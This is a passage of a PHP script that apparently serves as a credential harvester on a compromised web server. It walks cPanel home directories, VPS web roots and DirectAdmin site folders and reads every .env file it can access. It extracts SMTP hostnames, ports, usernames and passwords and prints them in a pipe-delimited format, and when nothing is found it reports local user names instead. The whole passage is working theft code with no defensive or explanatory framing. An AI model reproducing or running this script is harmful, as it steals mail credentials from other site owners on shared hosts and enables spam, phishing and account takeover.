65535) $port = 587; return [$h, $port, $u, $p]; } $results = []; $checked = []; // Standard VPS paths $vps_paths = [ '/var/www/html/.env', '/var/www/.env', '/var/www/html/.env.local', '/srv/www/.env', '/opt/bitnami/apache2/htdocs/.env', ]; // cPanel shared hosting paths $cpanel_users = []; if (is_dir('/home')) { $dh = opendir('/home'); while (($f = readdir($dh)) !== false) { if ($f !== '.' && $f !== '..' && is_dir("/home/$f")) { $cpanel_users[] = $f; } } closedir($dh); } $cpanel_paths = []; foreach ($cpanel_users as $user) { foreach (['.env','.env.local','.env.production','backend/.env','api/.env','storage/.env'] as $e) { $cpanel_paths[] = "/home/$user/public_html/$e"; } } // DirectAdmin paths if (is_dir('/var/www/html')) { $dh2 = opendir('/var/www/html'); while (($f = readdir($dh2)) !== false) { if ($f !== '.' && $f !== '..') { $vps_paths[] = "/var/www/html/$f/.env"; } } closedir($dh2); } $all_paths = array_merge($vps_paths, $cpanel_paths); foreach ($all_paths as $path) { if (in_array($path, $checked)) continue; $checked[] = $path; if (!file_exists($path) || !is_readable($path)) continue; $content = @file_get_contents($path); if ($content === false || strlen($content) < 20) continue; $parsed = parse_env($content); if ($parsed === null) continue; [$h, $port, $u, $p] = $parsed; $key = "$h:$port|$u"; if (!in_array($key, $results)) { $results[] = $key; echo "SMTP|$h|$port|$u|$p|path=$path\n"; } } if (empty($results)) { // Report server info for debugging $info = []; if (is_dir('/home')) { $users = []; $dh = opendir('/home'); while (($f = readdir($dh)) !== false) { if ($f !== '.' && $f !== '..') $users[] = $f; } closedir($dh); $info[] = 'home_users=' . implode(',', array_slice($users, 0, 10)); } echo "NO_RESULTS|" . implode("|", $info) . "\n"; } ?>